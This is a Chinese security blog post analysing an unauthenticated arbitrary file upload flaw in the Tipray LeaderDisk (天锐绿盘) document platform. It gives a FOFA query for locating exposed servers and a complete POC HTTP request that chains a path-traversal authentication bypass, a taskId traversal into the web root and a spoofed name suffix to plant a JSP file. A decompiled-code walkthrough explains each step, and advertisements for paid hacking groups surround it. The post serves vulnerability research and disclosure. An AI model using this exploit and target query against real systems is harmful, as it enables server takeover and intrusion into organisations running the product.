文章总结: 本文分析了天锐绿盘云文档安全管理平台uploadFile接口的任意文件上传漏洞。攻击者利用路径遍历绕过鉴权,并通过name参数欺骗后缀校验,最终将恶意文件上传至Web根目录获取服务器权限。文章深入分析了代码逻辑,提供了完整的POC数据包及复现过程,展示了漏洞的危害与利用方法。
综合评分: 85
文章分类: 代码审计,漏洞分析,漏洞POC,WEB安全,红队
天锐绿盘云文档安全管理平台uploadFile文件上传分析
原创
WL
Rot5pider安全团队
2025年9月2日 17:05
江西
点击上方蓝字 关注安全知识
引
言
承接:CNVD原创漏洞证书、CNNVD三级、二级支撑单位资质漏洞审核~~~ 全网最低价格、进了本公众号圈子的可在优惠,详情请加Rot5pider安全团队成员VX:
buhuijiangyingyu
漏洞简介
厦门天锐科技股份有限公司(简称天锐股份)是一家专注于数据安全领域的高新技术企业,成立于2006年,总部位于厦门软件园三期,法定代表人为涂高元。公司以自主研发的“天锐绿盾”系列产品为核心,为政府、军工及企事业单位提供数据安全解决方案,拥有多项国家级资质认证和知识产权。厦门天锐科技股份有限公司天锐绿盘云文档安全管理平台uploadFile存在任意文件上传漏洞,未经授权的攻击者可通过该漏洞获取服务器权限。
POC
FOFA:body=”/lddsm/” || title=”天锐绿盘” || title==”Tipray LeaderDisk”
漏洞数据包
POST /lddsm/main/auth.do/../../admin/activiti/uploadFile.do?taskId=../webapps/ROOT/&name=1.txt HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:137.0) Gecko/20100101 Firefox/137.0
Content-Type: multipart/form-data; boundary=—-WebKitFormBoundaryGTGh0t0j5T3vcezw
Content-Length: 201
——WebKitFormBoundaryGTGh0t0j5T3vcezw
Content-Disposition: form-data; name=”file”;filename=”1222.jsp”
Content-Type: image/png
<%out.print(111 \* 3);%>
——WebKitFormBoundaryGTGh0t0j5T3vcezw–
漏洞复现
访问1222.jsp文件,成功复现
路由分析
有了POC,先看漏洞路由“lddsm/main/auth.do/../../admin/activiti/uploadFile.do”,
看这个路由大概率就是有鉴权绕过了,后面分析
先跟踪漏洞路由方法具体实现,全局搜索“uploadFile”,跟踪定位到Activiti控制器
类级别的 @RequestMapping({“/admin/activiti/”})
方法@RequestMapping:/uploadWxFile.do
项目根路径:/lddsm
故漏洞原本路由应为:/iddsm/admin/activiti/uploadFile.do
鉴权分析
找到鉴权相关的过滤器 /com/lddsm/filter/SessionFilter.class
isNoNeedValidateid方法定义了无需鉴权的路径,可通过这些路径进行鉴权绕过
跟进isNoNeedValidateid方法,很多路径(”/login.jsp”, “/register/index”, “/main/auth.do”等等)
分析具体漏洞流程
首先判断从nodeBase对象获取的文件后缀名是否在“Config.DSM_UPLOADFILE_LIMIT_FORMATS”属性允许的范围内
只有满足白名单后缀名条件,actFileService.addFile方法才能够正常执行(这里代码有点不全,找不到具体键值,但可以凭经验传入常见的未过滤后缀名如txt、png等)
代码如下
@RequestMapping({“/uploadFile.do”})
@ResponseBody
public synchronized Map
Map
try {
String fileName = nodeBase.getName();
int suffixIdx = fileName.lastIndexOf(46);
if (suffixIdx > 0) {
String suffix = fileName.substring(suffixIdx);
if (StringUtil.isNotBlank(Config.DSM_UPLOADFILE_LIMIT_FORMATS)) {
String[] var14 = Config.DSM_UPLOADFILE_LIMIT_FORMATS.split(“,”);
int var15 = var14.length;
for(int var16 = 0; var16 < var15; ++var16) {
String limitSuffix = var14[var16];
if (StringUtil.isNotBlank(limitSuffix) && suffix.equals(limitSuffix)) {
resultMap.put(“success”, false);
resultMap.put(“msg”, “上传不允许的文件类型!”);
return resultMap;
}
}
}
}
this.actFileService.addFile(taskId, multipartFile, relativepath, uploadType, session, this.DISC, resultMap);
resultMap.put(“success”, true);
} catch (Exception var18) {
Exception e = var18;
log.error(“文件上传申请保存文件出错!”, e);
resultMap.put(“success”, false);
}
return resultMap;
}
跟踪到actFileService的实现,com/lddsm/service/impl/ActFileServiceImpl.class
代码如下
public Map
String userId = String.valueOf(PrincipalUtils.getUserId());
String fileName = multipartFile.getOriginalFilename();
StringBuffer sb = new StringBuffer();
File discFile = new File(disc);
if (!discFile.exists() && !discFile.isDirectory()) {
discFile.mkdir();
}
sb.append(disc + taskId);
File fileTop = new File(sb.toString());
fileTop.mkdir();
if (relativepath != null && !relativepath.equals(“”)) {
String[] split = relativepath.split(“/”);
String topFolder = split[0];
for(int i = 0; i < split.length – 1; ++i) {
sb.append(“/” + split[i]);
if (i != split.length – 1) {
File file = new File(sb.toString());
if (!file.exists() && !file.isDirectory()) {
file.mkdir();
}
}
}
sb.append(“/” + fileName);
this.insert(taskId, relativepath, topFolder, userId, FileEntity.FOLDER, sb.toString().replace(“//”, “/”), multipartFile.getSize(), (String)null, (Long)null, “0”);
} else {
sb.append(“/” + fileName);
this.insert(taskId, fileName, “”, userId, FileEntity.FILE, sb.toString().replace(“//”, “/”), multipartFile.getSize(), (String)null, (Long)null, uploadType);
}
File newFile = new File(sb.toString());
if (!newFile.exists()) {
multipartFile.transferTo(newFile);
}
resultMap.put(“success”, true);
return resultMap;
}
总结下代码功能实现:
将前端上传的文件存储到服务器指定位置,位置由disc、taskId、relativepath构成;
该系统在tomcat环境下,所以java.io.tmpdir代表tomcat的temp临时目录;
taskID和relativepath 均可控,这里选择taskId进行目录穿越上传到指定目录;
webapps 和 temp 在同级目录,让 taskId=../webapps/ROOT 即可穿越到WEB根目录下;
最后结合上述内容,首先必须通过后缀白名单验证,及 nodeBase.getName();
传参 name=1.txt,满足后缀白名单,进入 addFile 方法;
实际上传文件名由 String fileName = multipartFile.getOriginalFilename() 控制;
通过目录穿越 taskId=../webapps/ROOT 将目标文件上传到WEB根目录,自动创建不存在的目录;
通过inster()方法将文件信息写入到数据库;transferTo方法将文件写入磁盘;
最后在贴个漏洞数据包
【限时6折!华普安全研究星球:以原创实战为主+SRC/内网渗透核心资源库,助你在漏洞挖掘、SRC挖掘少走90%弯路】当90%的网络安全学习者还在重复刷题、泡论坛找零散资料时,华普安全研究星球已构建起完整的「攻防实战知识生态」:
✅ 原创深度技术文档(独家SRC漏洞报告/代码审计报告)
✅ 实战中使用到的工具分享
✅ 全年更新SRC挖掘、代码审计报告(含最新0day验证思路)
✅ 漏洞挖掘思维导图
✅内部知识库目前建设中、后续进入圈子免费进入
【实战为王】不同于传统课程的纸上谈兵!!
后期我们将持续发布原创代码审计、src等漏洞挖掘文章,后期有些源码、挖掘思路等也会放进圈子哈~
有任何问题可后台留言
往期精选
围观
丨更多
热文
丨更多
·end·
—如果喜欢,快分享给你的朋友们吧—
我们一起愉快的玩耍吧
【免责声明】
“Rot5pider安全团队”作为专注于信息安全技术研究的自媒体平台,致力于传播网络安全领域的前沿知识与防御技术。本平台所载文章、工具及案例均用于合法合规的技术研讨与安全防护演练,严禁任何形式的非法入侵、数据窃取等危害网络安全的行为。所有技术文档仅代表作者研究过程中的技术观察,不构成实际操作建议,更不作为任何法律行为的背书。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Rot5pider安全团队 WL《天锐绿盘云文档安全管理平台uploadFile文件上传分析》